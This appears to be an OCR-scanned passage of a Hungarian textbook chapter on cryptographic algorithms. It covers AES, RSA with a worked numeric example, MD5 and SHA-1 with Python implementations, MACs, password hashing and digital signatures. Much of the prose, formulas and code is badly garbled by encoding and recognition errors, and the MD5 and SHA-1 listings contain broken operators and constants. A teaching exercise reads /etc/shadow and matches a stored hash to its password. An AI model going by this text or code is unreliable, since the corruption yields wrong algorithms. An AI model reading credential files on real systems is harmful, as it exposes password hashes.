F Y

Kulcss

Kulcsg

Kulcs

|

kules bévités

117. abraA titkositasi korok

KeyExpansionri az i. korhoz tartoz&; kulcsaz eredetkulcsbdl kiszamitasra kerdl

AddRoundKeyi minden bajtot kombinaljuk K; kulcs egy bajtjaval a bit&kéntiXOR hasznalataval.

9, 11 vagy13. kor:

SubByted nemlinearis helyettesitési Iépés, ahol minden bajmeg§ys i kr a

szerint
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dpo | 34 | Fpz | 3oz
A4p [ A4 | A4z | A3
dzp | 3z4 | 322 | 323
dapg a4 Paz | a2z

SubBytes

step

Boo | Pp1 | Boz | Doz
Big | Byg | Bz | Dya
bag | B2q | D2z | D2a
33| bagy (Daz | Daa

118 abraNemlineéris helyettesitési Iépés

ShiftRows1 az atliltetési 1épésAz adatok egy 4 x 4 matrixba vannak rendezve, amgelgt, r2, I3
sorokbdl allnakMindenr; sor | poziciéval balr#olodik.

oo | 41 | Qo2 | Fpz
410 | M1 | Az | Az
dzo | 21 | B2z | A23
a0 | F31 | B3z | B3z

Shift Rows
Step

Mo change

Shift 1

Shift 2

Shift 3

119 abraShiftRowan T v e hzetiiltetési lépés

MixColumnsi matrix oszlopainvég haj t ot t

Tamadasok

an,1
a,:...:, ac..z ac..:.‘
MixedColoumns
a
agg 4| Ay | A step
29 a, dzz | #z3
430 d3z | Fa3
434
xcip)

dpo0 | Qp1 | Q02 | FD3
11 | 12 | ¥z | A0
dzz | 923 | @20 | Jz21
d33z | Jap | 831 | Jaz
ine8ris transzfor m8ci
B4
by boz | bos
b
by 11 P2 | by
bzo| py,, P2z | D22
g Pz | bas
B34

120 abraMixColumnsmTv el et
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https://en.wikipedia.org/wiki/Advanced_Encryption_Standard#cite_notefips-197-6

RSAALGORITMUS

Rivest, Shanir és Adleman 197G@en mutatta be aszimmetrikus kriptogréafiai algoritmygat Az
algoritmus hatvanyozason és modulacion alapul. Tegyuk fel, hogy igaz az alabbi egyenlet:

T9mod N=T

bizonyos speciélis esetekben az egyenlet két parra bonthatd, az egyik kédolni fogja, a masodik pedig
dek-dol ni a k°vetkezRk®ppen:

T*mod N=C
C'modN=T
Sajnos ez az egyenlet nememMkedi k tetszRleges he§

Tétel
I ndul junk ki ebbRI a r®gi g°r°g egyenl et bRI

TNImodN=1
ahol N> T és N primszam
A primszamok egész szamok, amelyeknek nincs egész osztojuk, példaul 11, 13, 19, ....

LegyenfN)e gy t ot i e nt ammely mdgadfa gelgtiy pritnekgzamat Ng. Két egész szam
relativ prim, ha nincs k6z8s osztojuet kivul.

Példaulf(9) = 6 mert9 eseén6 relativ prim vadl, 2, 4, 5, 7, 8}.

Ha N pr2msz§8m, akkor a-igz§mati 8siRegy®sar 6.z §Mi, nag
rendelkezik, azaz

f(N)+ 1 = N => N1 = f(N)

HaegyKhat v8nykitevRt megszorozzuk egy 8l land-val,
egyenlet tovabbra is igaz

TKIN mod N =1

Ez a | ®p®s biztos?2tja, hogy el m®l etileg v®gtel
Szorozzuk meg mindkét oldalt-Vel

TKN* mod N =T

Valasszuk meg e és d kulcsokat, ugy, hogy
Kf(N)+1=ed

RSA kulcsgenerélas

A kulcsgener 81 8s az al 8bbiak szerint hajthat. . v
és Y. Ezek szorzata N.

N=XY
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Tudjuk, hogy X és Y hany relativ primszammat bir
f(X) = X-1

fY)=Y-1

f(N) kiszamithat6

f(N) = (X-1) (Y-1)

Bontsuk felK f(N)+1 két egész szdm szorzatava

KfN)+1=ed

A gyakorl atban a k°vetkezR egyenl et eértékétaidye t

hogy

lko(e, f(N)) =1

ahol Iko a legnagyobb k6z6s o0sztot jelentidéstékét valasszuk meg agy, hogy
1<d<f(N)

és

edmodf(N)=1

Legyen gpublikus kulcs(e,N), és aprivat kulcs(d,N)

Példa
Véalasszunk két primszamot: 67 és 11

N=6711=737

f(n) = 66 10 = 660

Valasszuk meg e értékét, ugy, hogkd(e, 660) = 1legyen e =/. Tehat a nyilvanos kulcs
(N, e)=(737,7)

Szamitsuk kd értékét

Keresslink egK értéket, hogK f(N) + 1 = e digaz legyen, azaK f(N) + 1 mod e =0
K*660+ 1 mod 7 =0

K=3megf eakag | R

d=(3*660+1)/7 =283

Tehét a privat kulcs

(N, d) = (737. 283)

Kédoljuk a 28-as szamot
28" mod 737 = 316
Dekddoljuk a 316 szamot

316%mod 737 = 28

127

has



KRIPTOGRAFIKUS ALGORITMUSOK

HASH FUGGVENYEK

A hash f¢gggv®ny egy matemati kai fé¢ggv®ny , ame |l
hosszusagu kimenetet ad vissza.

Az preferdlt hash fuggvények tulajdonsagai:

1 kodnnyen kiszdmithaté barmilyen adatra

1 nehéz visszafejteni a lekddolt szoveget
T a k¢l °nb°zR sz°vegek b8rmilyen ho$sz¥ak 1 s n
T a diszperzi-s tulajdons8g el Rnyben rr ®szes?te

valtozasokat eredményez a hdsmn

Uzenet blokk 1 Uzenet blokk 2

Bejivd erték 4>{ Hash fliggveny ‘ +++++ ‘ Hash fliggveny }—b Hash érték

121 abraHash fiiggvények

Cltal 8ban egyszerT sz°veget dolgoznak fel adathbl
szamitési [épés bemenete stb. Ezt a hashing lavinahatasanak nevezik

MESSAGEDIGEST(MD5)

A Message Digest algoritmus széles kérben eltehjagdhfunkcié, amely 128 bites hash értéket allit
el R. A k-dolatlan sz°veges ¢(zenet 512hobyi5t2es bl o
bit tdbbszorose legyen.

Az RFC1321 a hatarozza meg a kitoltdgidjat

Igy az lzenet feloszthat6 16 32 bites széra.

JelentseM[0 ... N-1] azeredményikapott szavakat. ahol N 18 tébbszorose

Az MD algoritmus 128 bites szeleteken dolgozik, ezt osszuk 4 db 32 bites(gzd@aC, D).

Az ¢zenetblokk feldolgoz8sa n®gy k°r bRI 8l 1 ; m
nemlinearis fliggvényen, modularis dsszeadason és bal forgason alapulnak.
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122 abra MD5 algoritmus

Négy lehetséges funkcio létezik; minden kdrben mast hasznalnak:

F(B, C, D) = (B and C) or (not B and D)
G(B, C, D) = (B and C) or (C and not D)
H(B, C, D) = B xor C xor D

I(B, C, D) = C xor (B or not D)

Egy lehetségesnplementacid

The implementation of the MD5 algorithm is based on the original RFC at
https://www.ietf.org/rfc/rfc1321.txt and contains optimizations from
https://en.wikipedia.org/wiki/MD5.

import  struct

from enumimport Enum
from math import (

10. floor ,

11. sin ,

12. )

CoNoOAODME

14. from bitarray import bitarray
15. class MDS5Buffer ( Enuny:

16. A = 0x67452301

17. B = OXEFCDABS89

18. C = 0x98BADCFE

19. D = 0x10325476

20.

21.

22. class MD5%object ):

23. _string = None

24. _buffers = {

25. MD5Buffer. A None
26. MD5Buffer. B: None
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27. MD5Buffer. C None

28. MD5Buffer. D. None

29. }

30.

31. @classmethod

32. def hash(cls , string ):

33. cls . _string = string

34.

35. preprocessed_bit_array = cls ._step_2(cls . _step_1()

36. cls . _step_3()

37. cls . _step_4 ( preprocessed_bit_array )

38. return cls . _step_5()

39.

40. @classmethod

41. def _step_1(cls):

42. # Convertthe  string to a bit array.

43. bit_array = bitarray (endian ="big" )

44, bit_array .frombytes (cls . _string . encode("utf -8"))

45.

46. # Pad the string with a 1 bit and as many 0 bits required such that
47. # the length of the bit array becomes congruent to 448 modulo 512.
48. # Note that padding is always performed, even if the string's bit
49. # length is already conguent to 448 modulo 512, which leads to a
50. # new 512 - bit message block.

51. bit_array . append(1)

52. while bit_array .length () %512 != 448:

53. bit_array . append(0)

54.

55. # For the remainder of the MD5 algorithm, all values are in

56. # little endian, so transform the bit array to little endian.
57. return bitarray (bit_array , endian ="little" )

58.

59. @classmethod

60. def _step_2(cls, step_1 result ):

61. # Extend the result from step 1 with a 64 - bit little endian
62. # representation of the original message length (modulo 264).
63. length = (len(cls ._string ) * 8) %pow(2, 64)

64. length_bit_array = bitarray (endian ="little" )

65. length_bit_array . frombytes (struct . pack("<Q", length ))
66.

67. result = step_1 result . copy()

68. result . extend (length_bit_array )

69. return result

70.

71. @classmethod

72. def _step_3 (cls):

73. # Initialize the buffers to their default values.

74. for buffer_type in cls . _buffers . keys():

75. cls . _buffers [buffer_type | = buffer_type .value

76.

77. @classmethod

78. def _step_4 (cls, step_2 result ):

79. # Define the four auxiliary functions that produce one 32 - bit word.
80. F =lambda x, y, z: (X &y) | (~=x & 2)

81. G = lambda x, y, z: (x &2z) | (y & ~2)

82. H=lambda x, y, z:. x "y " z

83. | =lambda x, y, z: y * (x| ~2)

84.

85. # Define the left rotation function, which rotates “x’ left "'n" bits.
86. rotate_left = lambda x, n: (x << n) | (x >> (32 - n))
87.

88. # Define a function for modular addition.

89. modular_add = lambda a, b: (a + b) %pow(2, 32)

90.

91. # Compute the T table from the sine function. Note that the

92. # RFC starts at index 1, but we start at index 0.

93. T = [floor (pow(2, 32) * abs(sin (i + 1))) for i in range(64)]
94.

95. # The total number of 32- bit words to process, N, is always a
96. # multiple of 16.
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97. N = len (step_2_result ) //32

98.

99. # Process chunks of 512 bits.

100. for chunk_index in range (N //16):

101. # Break the chunk into 16 words of 32 bits in list X.

102. start = chunk_index * 512

103. X = [step_2_result [start + (x * 32) : start + (x * 32) + 32] for x in
range (16)]

104.

105. # Convert the “bitarray” objects to integers.

106. X = [int . from_bytes (word. tobytes (), byteorder ='"little" ) for word in X
107.

108. # Make shorthands for the buffers A, B, C and D.

109. A = cls . _buffers [ MD5Buffer. Al

110. B = cls . _buffers [ MD5Buffer. B]

111. C = cls . _buffers [ MD5Buffer. C

112. D = cls . _buffers [ MD5Buffer. D]

113.

114. # Execute the four rounds with 16 operations each.

115. for i in range(4 * 16):

116. if 0<=i <=15:

117. k =i

118. s =[7 12, 17, 22]

119. temp = F(B, C D

120. elif 16 <=i <= 3L

121. k=(5*i) +1) %16

122. s =[5, 9, 14, 20]

123. temp = @B, C D

124, elif 32 <=i <=47T:

125. k=(3*i)+5 %16

126. s = [4, 11, 16, 23]

127. temp = HB, C D

128. elif 48 <=i <= 63:

129. k=(7*1i) %16

130. s = [6, 10, 15, 21]

131. temp = 1 (B, C D

132.

133. # The MD5 algorithm uses modular addition. Note that we need a

134. # temporary variable here. If we would put the result in "A’, then

135. # the expression "A = D below would overwrite it. We also cannot

136. # move "A = D" lower because the original ‘D" would already have

137. # been overwritten by the 'D = C* expression.

138. temp = modular_add (temp, X K])

139. temp = modular_add (temp, T[i])

140. temp = modular_add (temp, A)

141. temp = rotate_left (temp, s[i %4])

142. temp = modular_add (temp, B)

143.

144. # Swap the registers for the next operation.

145. A=D

146. D=C

147. C=8B

148. B = temp

149.

150. # Update the buffers with the results from this chunk.

151. cls . _buffers [ MD5Buffer. Al = modular_add (cls . _buffers [ MD5Buffer. A, A
152. cls . _buffers [ MD5Buffer. Bl = modular_add (cls . _buffers [ MD5Buffer. B], B)
153. cls . _buffers [ MD5Buffer. C| = modular_add (cls . _buffers [ MD5Buffer. C, ©
154. cls . _buffers [ MD5Buffer. D] = modular_add (cls . _buffers [ MD5Buffer. D], D)
155.

156. @classmethod

157. def _step_5 (cls):

158. # Convert the buffers to little - endian.

159. A = struct . unpack("<I|" , struct .pack(">I" , cls ._buffers [ MD5Buffer. A]))[ 0]
160. B = struct .unpack("<I" , struct .pack(">l" , cls ._buffers [ MD5Buffer. B]))[ 0]
161. C = struct . unpack("<I" , struct .pack(">I" , cls ._buffers [ MD5Buffer. Q))[ 0]
162. D = struct .unpack("<I" , struct .pack(">l" , cls ._buffers [ MD5Buffer.D}))[ 0]
163.

164. # Output the buffers in lower - case hexadecimal format.
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| 165. return f"{format(A, '08x")H{format(B, '08x")}{format(C, '08x")H{format(D, '08x")}"

SHA

A Secure Hasklgoritmus (SHA1L) egy olyan kriptogréfiai hash fliggvény, amely 160 bites hash
8l 12t el R az adatokb- 1. Ez az ¢zenetkivonat 81 ta

Kezdetben 160 bites bemenetlink van, ezt 5 részre bontjuk, amelyeket A, B, EnBlésevezink.

A B C D E
“""“a l
F >
¥
qﬁqf_fVFUM >
4 v
<< agf ™—" e,
+— K,
A B C D E
123 abraSHA algoritmus menete
Az SHA algoritmus egy iter8ci-ja a k°vetkezR:

A, B, C, D és E 32 bites szavak

F egy nemlien8ris f¢gggv®ny, amely a k®sRbb i :
<<<j el °lje a balraxheflyelt ®nR kr k°r°s eltol §st

W az Uiznest kiterjesztett szavh | 8 s d akt.&bsbé&hb b )

Kt at. kdrhoz tartozé allandé

=A =4 =4 -4 -8 A

EB egy modula2®26sszegzést jelol

20koronként F ésKikonstansés az alabb definialt értékeket veszik fel
1-20kor

F = (B and C) or ((not B) and D)

Ki = 0x5A827999

21-40kor

F =B xor C xor D

Ki = OX6ED9EBA1
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41-60 kor

Fi= (B and C) or (B and D) or (C ari)
Ki = 0x8F1BBCDC

61-80 kor

F =B xor C xor D

Ki; = OxCA62C1D6

A k°rk°or°s shi f thit hmlsvsed %st§ gt¥e t sszzaRi/sekgoshsy e®tr k eed Rne & th re 4
egybites balra és egy egybites jobbra biteltolast mutat be.

by | b | bs | bs | bs | ba | by | by by | bg | bs | bs | bg | Bo | by | by

by | br | bs | bs | by | by | bo | by be | bg | by | bg [ bz | by | by | b7

124 4braA k°r k°r°s shift mTvel et

Uzenet kterjesztése

1. Az Uzenetet kiterjesztjik ugy, hogy hozzaadunk eggstimajd annyi 4, hogy 448 bites
legyenAz ¢zenet hossz8t 64 bites sz8&8mmal repreze
512 bit hosszu lesz.

2. Az 512 bites lizenetet 16 @B-bites szora osztjuhNgé Wis
3. Minden sz°vegdarabra el kezdj ¢k a 80 iter8ci - |
4. Végrehajtiuk& ° vet:kezRt

WiZSl (Wi.3 XOR V\/i.g XOR VVi.14 XOR VVi-lG)
S a shift operator
5. A hash értékekket © v e téicladag vegezzik el:
A=Ho
B=H
C=H
D= H3
E=H
6. A 80 iteraciondl
TEMP = S (A) + F(B;C;D)+E+W+K;
E=D
D=C
C=S9B)
B=A
A=TEMP
7. Taroljuk el a hash érékét az alabbiak szerint
Ho= Ho+A
H;= Hi+B
Ho= H+C
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Hs= Hs+D
Hs= H4s+E
8. Kiszamitjuk a 160 bites message digest értékét.
9. H=S?)Hg) OR S5H,) OR $%H.) OR S%Hs) OR H,

MESSAGEAUTHENTICATION CODE

Az ¢zenet hiteles?2t®si k-dot (MAC) kriptogr 8fi ai
egy szimmetrikus kulcs¥%% algoritmus, amely az ¢z
ugyanazt a kulcsot hasznélja.

Al apvet Ren a MAC a sima sz°veges ¢(zenet titkos?2:
annak hiteles2t®se ®rdek®ben. Aat. MeeavsRamikoit MIACE m2 t | a
megegyezik, akkor az Uzenet elfogadhatdé. Ha a kiszamitott M&@ egyezik, akkor nem lehet
megallapitani, hogy az lizenet vagy a forras vakddi

A MAC, ugyan¥gy, mint a hash fg¢sgggv®nyek,Ar°gzz2t e
k¢l °nbs®g az, hogy a MAC titkos kulcsot haszn§gl
hogy a MAC algoritmus nyilvanos, a MAC értéket a titkos khlosza létre.

Hatranya:
1T a r®sztvevRt,el Rre ismerni kel l
T a titkos Kkulcsot el Rre meg kel 8l |l ap2tani ®

1 aMAC nem tudja bizonyitani, hogy a felad6 kildte az Uzenetet
1 nem lehet megallapitani, hogy melyik fél generalta a MAC

Kulcs

Fogado

. MAC
Kuldao Uzenet MAC algoritmus

Uzenet MAC algoritmus MAC » Egyezik ?
— —» :
125 4braMESSAGE AUTHENTICATION CODE
MAC kiterjesztés
A felad¢ titkosithatigs a t ar t al mat , mi e A RKositAsedy koyabhillépésdehdt & | - z a t
bizalmassag védelmére, hogy a kildott Gizenetet csak a cimzett olvashassa.
A felad- az ¢zenetet egy titkos2t8si algoritmuss

A titkositas soran egy titkos kulcsot hasznalnak, amely csak a felad6 és a cimzett szamara ismert. igy
ha valaki elfogja az lzenetet, csak kodohnfaban latja azt, és nem tudja kozvetleniil elolvasni a
tartalmat. Ez biztositja az Uzenet bizalmassalyatndédon az lizenet bizalmas lesz
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MAC kulcs

Fogado
Kildg Titkosnﬁ_&}”,cﬁ___ Ttkositott izenet || Hé'bfztg:e'jma“" L »  MAC algoritmus 4—‘ MA(_:___ _J
MAC J
MAC algoritmus Titkositds » Egyenld?
T ] Dekbdold kulcs
Uzenet I
126 dbra MAC kiterjesztés

JELSZO TAROLAS
A hash funkci- -k v®di k a jelsz-t8&rol §st. Ahel yet

jelszavak hash értékeit taroljuk az adatbazisban.

A jelszéfajl egy olyan tablazatbdl all, amely a

{user_identifier, hash(PASSWORMDparokat tarolja.

Felhasznalo Eszkiz
Felhasznald
azonositd 1
Adathazis
{id, kodolt jelszo}

@ e rekordokkal
Hash fliggveny —»< Egyenld? @

@ -« Dintés J

127. abraA jelszé tarolds mechanizmusa
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ADATI NTEGRI TCS ELLENfRZESE

az adat ok

Ahashf unkci - kat sz®l es k°rben haszng8lj 8§k
I t8s8ra szol g

adat ok ellenRrzR ©°sszegeinek el R8I 1] 2

D

Eredeti adat Eredeti adat
A
—»

l ( 1)) e ((n)) § v

Szamitott hash értek
Hash algoritmus 4>< Zamitolt hashl ers

\ = S

l 4 —_— —_—
v

Hash érték L » Megkapott hash érték

Hash algoritmus

128 dbraAz adatintegrit8s ell enRrz®s®nek menete
Ha az eredet.i adat okat m-dos?tj 8k, akkor az el
m- dos2thatja mind az adatokat, mind az ell enRr zF

PELDAFELADAT

Jelsz6fajl helye és tartalma Kalnuxban

A Kali a jelszbadatokat az /etshadow fajlban tarolja. Csak root felhasznaldk irhatjak a fajlt. A fajl a
felhasznélonevet, a jelszlbashét a jelsz6 megvaltoztatdsanak datumat, a lejarati datumot stb.
Kett Rspontt al (:) elvs&8lasztva t8&8rolja.

A lekérdezéséhez gépeljik be:
sudo cat /etc/shadow

kali:$6$GHNiMeXhVU70giNI$vpm87wg/tB5X5rA8MYnsw8ssB7iyW.9gh5m/drfTmMJdvRtArB/3
Xtyan1/DmOeBdpxs9cfKaDtOn15nqupvn/:18583:0:99999:7:::

Value Meaning

$6% A két $ jel kezdete kozotti érték a hasznalt h
algoritmust jelenti. Itt a 6. szdm a sha2
hasznalatat jelenti.

$GHNiMeXhVU70giNI$ a masodik és harmadik $ kozti szoéveg a s6
vpm87wqg/tB5X5rA8MYnsw8ssB7iyW.9gh5n Hashelt jelszé

drfTmMJdvRtArB/3Xtyanl/
DmOeBdpxs9cfKaDtOn15nqupvn/:

~

Gener8ljuk |l e a Akalio felhaszn8l - jelszav§gt
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Python 2.7.18 ( default, Apr 20 2020, 20:30:41)

[GCC 9.3.0] on linux2

Type "help”, "copyright", "credits" or "license" for more information.

>>> import crypt

>>> password="kali"

>>> hashing_scheme_with_salt="$6$GHNiMeXhVU70giNI$"

>>> crypt.crypt(password, hashing_scheme_with_salt)
'$6$GHNiIMeXhVU70giNI$vpm87wq/tB5X5rA8MY nsw8ssB7iyW.9gh5m/drfTmMJdvRtArB/3Xt
yan1/DmOeBdpxs9cfKaDtOn15nqupvn/'

>>>
Egy lehetsége®ythonimplementacio

1. #lusr/bin/env python

2.

3. from _ future__ import print_function

4. import struct

5. import io

6.

7. try

8. range = xrange

9. except NameError:

10. pass

11.

12.

13. def _left_rotate (n, b):

14. ""Left rotate a 32 - bit integer n by b bits.""

15. return ((n << b) | (n >> (32 - b)) & OXxffffffff

16.

17.

18. def _process_chunk (chunk, hO, hl, h2, h3, h4):

19. """Process a chunk of data and return the new digest variables.""™
20. assert len (chunk) == 64

21.

22. w=[0] * 80

23.

24. # Break chunk into sixteen 4 - byte big - endian words w(i]
25. for i in range(16):

26. W i] = struct .unpack(b>l' , chunk[i * 4:i * 4 + 4])[ 0]
27.

28. # Extend the sixteen 4 - byte words into eighty 4 - byte words
29. for i in range (16, 80):

30. wWi] = _left_rotate (Wi - 3] ~wi - 8 ~wi - 14] ~ wi - 16], 1)
31.

32. # Initialize hash value for this chunk

33. a = ho

34. b =hl

35. c =h2

36. d = h3

37. e = h4d

38.

39. for i in range (80):

40. if 0<=i <=19:

41. # Use alternative 1 for f from FIPS PB 180 - 1 to avoid bitwise not
42. f=d” (b&(c”d)

43. k = Ox5A827999

44, elif 20 <=i <= 39:

45. f=brcnrd

46. k = Ox6ED9EBA1

47. elif 40 <=i <= 59:

48. f=(b&c)| (b&d) | (c &d)

49. k = 0x8F1BBCDC

50. elif 60 <=1i <= 79:

51. f=brcnd

52. k = OxCA62C1D6

53.

54. a, b, ¢, d e = ((_left_rotate (a, 5 +f +e + k +wi]) & Oxffffffff ,
55. a, _left rotate (b, 30), c, d)
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109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.

# Add this chunk's hash to result so far
hO = (hO + a) & Oxffffffff

hi = (hl + b) & Oxffffffif
h2 = (h2 + c) & Oxifffffif
h3 = (h3 + d) & Oxffffffif
hd = (h4 + e) & OxIfffffif

return hO, hl, h2, h3, h4

class ShalHasH object ):
""A class that mimics that hashlib api and implements the SHA - 1 algorithm.™™"
name = 'python -shal’
digest_size = 20
block_size = 64

def __init__ (self ):

# Initial digest variables

self . h =(
0x67452301,
OXEFCDABBS89
0x98BADCFE
0x10325476,
OXC3D2E1FQ

)

# bytes object with 0 <=len < 64 used to store the end of the message
# if the message length is not congruent to 64

self . _unprocessed = b"

# Length in bytes of all data that has been processed so far

self . _message_byte length =0

def update (self , arg):
"""Update the current digest.
This may be called repeatedly, even after calling digest or hexdigest.
Arguments:
arg: bytes, bytearray, or ByteslO object to read from.

if isinstance (arg, (bytes, bytearray )):
arg = io . ByteslO (arg)

# Try to build a chunk out of the unprocessed data, if any
chunk = self ._unprocessed + arg.read(64 - len (self ._unprocessed ))

# Read the rest of the data, 64 bytes at a time

while len (chunk) == 64:
self . _h = _process_chunk (chunk, *self . _h)
self . _message_byte length += 64
chunk = arg.read (64)

self . _unprocessed = chunk
return  self

def digest (self ):
"""Produce the final hash value (big - endian) as a bytes object"™
return b" .join (struct .pack(b>I' , h) for h in self ._produce_digest ())

def hexdigest (self ):
"""Produce the final hash value (big - endian) as a hex string™"
return  '%08x%08x%08x%08x%08x% self . _produce_digest ()

def _produce_digest (self ):
""Return finalized digest variables for the data processed so far.
# Pre - processing:
message = self . _unprocessed
message_byte_length = self . _message_byte length + len (message

# append the bit '1' to the message
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126.
127.
128.
129.
130.
131.
132.

integer

133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.

message += b' \ x80'

# append 0 <=k < 512 bits '0', so that the resulting message length (in bytes)
# is congruent to 56 (mod 64)
message += b'\x00" * (( 56 - (message_byte_length + 1) % 64) % 64)

# append length of message (before pre - processing), in bits, as 64 - bit big

message_bit_length = message_byte_length * 8
message += struct . pack(b'>Q', message_ bit_length )

# Process the final chunk
# At this point, the length of the message is either 64 or 128 bytes.
h = _process_chunk (messagq: 64], *self ._h)
if len (message == 64:
return h
return _process_chunk (messagg 64:], *h)

def shal(data):

if

""SHA - 1 Hashing Function
A custom SHA- 1 hashing function implemented entirely in Python.
Arguments:

data: A bytes or ByteslO object containing the input message to hash.
Returns:

A hex SHA- 1 digest of the input message.

return ShalHasHK). update (data). hexdigest ()

__hame__=="'_ main__
# Imports required for command line parsing. No need for these elsewhere
import argparse
import  sys
import os

# Parse the incoming arguments
parser = argparse . ArgumentParser ()
parser . add_argument('input’ , nargs="*"
help ='input file or message to hash’ )
args = parser . parse_args ()

data = None
if len (args.input ) ==
# No argument given, assume message comes from standard input
try -
# sys.stdin is opened in text mode, which can change line endings,
# leading to incorrect results. Detach fixes this issue, but it's
# new in Python 3.1
data = sys. stdin . detach ()

except AttributeError
# Linux ans OSX both use \ n line endings, so only windows is a
# problem.
if sys.platform == "win32" :
import msvcrt

msvcrt . setmode( sys. stdin . fileno (), os. O_BINARY
data = sys. stdin

# Output to console
print ('shal -digest: , shal(data))

else :
# Loop through arguments list
for argument in args.input :
if (os. path.isfile (argument)):
# An argument is given and it's a valid file. Read it
data = open(argument, 'rb' )

- endian
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| 195. # Show the final digest

| 196. print ('shal -digest’ , shal(data))

| 197. else :

i 198. print ("Error, could not find " + argument + " file." )
199.

DIGITALIS ALAIRAS

Az emberek kézzel irott aldirasokat hasznglhaly hitelesitsék

1 s z er z R@r@lesitksebiztositas, foglalkoztatas stb.)
1 adminisztrativ dokumentumokat (adébevallasok, nyilatkozatok stb.)
1 tranzakciok (bankolas)

A digitalis vilagban is hasonlé technikara van sziikség egy személy vagy barmely digitélis entitas

azonositasara.

Elektronikus aldiras: elektronikus dokumentumhoz azonositas céljabdl logikailag hozzarendelt és azzal
el v8l aszthatatl anul °sszekapcsolt elektroni kus ¢

az elektronikus alairasrol)

A nyilvanos kulcsu titkositas szilard alapja lehet a digitalis alairasi sémanak:

Hash fgv. }—b\&g\yey

Privat kulcs
{alaird)

‘ Hash ‘ Alairé
\ algoritmus | Alairas -
A

fgv.
Hash MNyilvanos
kulcs

129 4braDigitélis alairds séma

e

Ellendrzo
algoritmus

A munkaf ol yamat a k°vetkezR

minden entitdsnak van nyilvanos + privat kulcsparja
8§l tal 8ban ezek a kulcsok elt®r Rek.

a felad6 generdlja az adatok hatth

az alairasi algoritmus a hash értékre és a privat kulcsra vonatkozik

az adatokhoz aldiras tartozik

a k¢l dendR csomag tartal mazza mind az

= =4 =4 =8 -4 -8 -4 -8

ha a feladok és a fogadok haghazonos, akkor az alairas érvényes

privs8t kulcsokat haszn8l nak az al 82r8shoz, n\

adat ok :

a vevR az adatokat ®s az al 82r8st az ell enRr:

A digit8lis alg2r8st a titkos privgt kulccsal KkG@
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Adat Titkos kulcs
Alairo
SIE algoritmus
Hash

130 abra A Hashfiiggvényt irjuk ala, nem az adatot

AzRSA-t 8l tal 8ban al 82r 8§si algoritmusk®nt haszn§gl |j
lenne. A dokumentum kivonata sokkal kisebb, igy a kivonat alalmdsgkonyabb, mint a teljes
dokumentum aléirasa.

A digitsglis alg2r8sok fR felhaszn8l 8si terg¢leteli

1 Uzenetek hitelesitégea privat kulcsot a tulajdonosa ismeri, &gy érvényes a digitalis alairast
csak a kulcs tulajdonosa készithet.

T Adatint egr i { Basvalakil ModositRa ra zddsmentumot, akkor a hash kivonata
megvs8ltozik, 2gy az ellenRrz®s eredm®nye az I
ell enRrizheti, hogy -@aza&&sdtment um megv 8l tozott
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